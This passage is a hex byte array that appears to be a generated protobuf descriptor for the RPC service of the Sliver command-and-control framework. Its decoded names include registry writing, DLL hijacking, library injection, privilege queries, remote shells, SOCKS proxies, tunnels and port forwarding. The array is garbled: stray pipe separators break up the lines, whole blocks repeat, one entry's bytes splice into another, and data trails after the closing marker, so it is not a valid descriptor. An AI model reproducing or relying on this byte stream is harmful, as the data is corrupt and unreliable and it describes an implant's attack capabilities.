0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72,
|
||||
0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74,
|
||||
0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43,
|
||||
0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43,
|
||||
0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52, 0x65, 0x67, 0x69,
|
||||
0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x73, 0x12,
|
||||
0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73,
|
||||
0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71,
|
||||
0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69,
|
||||
0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x53,
|
||||
0x0a, 0x12, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61,
|
||||
0x6c, 0x75, 0x65, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x61, 0x6c, 0x75,
|
||||
0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
|
||||
0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x4c,
|
||||
0x69, 0x73, 0x74, 0x12, 0x3e, 0x0a, 0x0d, 0x52, 0x75, 0x6e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d,
|
||||
0x6d, 0x61, 0x6e, 0x64, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e,
|
||||
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d,
|
||||
0x61, 0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c, 0x4c,
|
||||
0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48,
|
||||
0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e,
|
||||
0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35, 0x0a,
|
||||
0x08, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76,
|
||||
0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65, 0x71,
|
||||
0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50,
|
||||
0x72, 0x69, 0x76, 0x73, 0x12, 0x38, 0x0a, 0x09, 0x4c, 0x69, 0x62, 0x49, 0x6e, 0x6a, 0x65, 0x63,
|
||||
0x74, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x62,
|
||||
0x49, 0x6e, 0x6a, 0x65, 0x63, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76,
|
||||
0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x62, 0x49, 0x6e, 0x6a, 0x65, 0x63, 0x74, 0x12, 0x3b,
|
||||
0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x15, 0x2e,
|
||||
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73,
|
||||
0x73, 0x69, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x50, 0x0a, 0x11, 0x52,
|
||||
0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e,
|
||||
0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52,
|
||||
0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e,
|
||||
0x12, 0x44, 0x0a, 0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f,
|
||||
0x6e, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c,
|
||||
0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e,
|
||||
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74,
|
||||
0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78,
|
||||
0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f,
|
||||
0x6e, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
|
||||
0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12,
|
||||
0x4e, 0x0a, 0x12, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f,
|
||||
0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
|
||||
0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74,
|
||||
0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
|
||||
0x62, 0x2e, 0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12,
|
||||
0x4c, 0x0a, 0x11, 0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72,
|
||||
0x77, 0x61, 0x72, 0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f,
|
||||
0x70, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x57, 0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a,
|
||||
0x0c, 0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e,
|
||||
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73,
|
||||
0x53, 0x74, 0x61, 0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57,
|
||||
0x47, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f,
|
||||
0x70, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73,
|
||||
0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77,
|
||||
0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76,
|
||||
0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72,
|
||||
0x64, 0x65, 0x72, 0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f,
|
||||
0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72,
|
||||
0x76, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69,
|
||||
0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71,
|
||||
0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69,
|
||||
0x73, 0x74, 0x65, 0x72, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x44, 0x0a,
|
||||
0x0d, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1a,
|
||||
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78,
|
||||
0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6c, 0x6c, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73,
|
||||
0x69, 0x6f, 0x6e, 0x12, 0x47, 0x0a, 0x0e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e,
|
||||
0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
|
||||
0x2e, 0x4c, 0x69, 0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x52,
|
||||
0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x69,
|
||||
0x73, 0x74, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x4e, 0x0a, 0x12,
|
||||
0x57, 0x47, 0x53, 0x74, 0x61, 0x72, 0x74, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61,
|
||||
0x72, 0x64, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47,
|
||||
0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x61, 0x72, 0x74,
|
||||
0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57,
|
||||
0x47, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x4c, 0x0a, 0x11,
|
||||
0x57, 0x47, 0x53, 0x74, 0x6f, 0x70, 0x50, 0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72,
|
||||
0x64, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50,
|
||||
0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65,
|
||||
0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x50,
|
||||
0x6f, 0x72, 0x74, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x12, 0x3c, 0x0a, 0x0c, 0x57, 0x47,
|
||||
0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x61,
|
||||
0x72, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
|
||||
0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x3a, 0x0a, 0x0b, 0x57, 0x47, 0x53, 0x74,
|
||||
0x6f, 0x70, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x74, 0x6f, 0x70, 0x52, 0x65,
|
||||
0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x53,
|
||||
0x6f, 0x63, 0x6b, 0x73, 0x12, 0x4b, 0x0a, 0x10, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x46, 0x6f,
|
||||
0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72, 0x73, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64,
|
||||
0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70,
|
||||
0x62, 0x2e, 0x57, 0x47, 0x54, 0x43, 0x50, 0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x65, 0x72,
|
||||
0x73, 0x12, 0x4b, 0x0a, 0x12, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x53, 0x6f, 0x63, 0x6b, 0x73,
|
||||
0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72,
|
||||
0x73, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f,
|
||||
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12,
|
||||
0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71,
|
||||
0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74,
|
||||
0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63,
|
||||
0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f,
|
||||
0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
|
||||
0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63,
|
||||
0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f,
|
||||
0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45,
|
||||
0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f,
|
||||
0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f,
|
||||
0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01,
|
||||
0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c,
|
||||
0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c,
|
||||
0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c,
|
||||
0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07,
|
||||
0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
|
||||
0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e,
|
||||
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64,
|
||||
0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12,
|
||||
0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
|
||||
0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b,
|
||||
0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12,
|
||||
0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
|
||||
0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74,
|
||||
0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12,
|
||||
0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
|
||||
0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a,
|
||||
0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e,
|
||||
0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a,
|
||||
0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65,
|
||||
0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c,
|
||||
0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e,
|
||||
0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75,
|
||||
0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e,
|
||||
0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54,
|
||||
0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
|
||||
0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c,
|
||||
0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
|
||||
0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69,
|
||||
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61,
|
||||
0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f,
|
||||
0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
|
||||
0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74,
|
||||
0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d,
|
||||
0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65,
|
||||
0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62,
|
||||
0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
|
||||
0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d,
|
||||
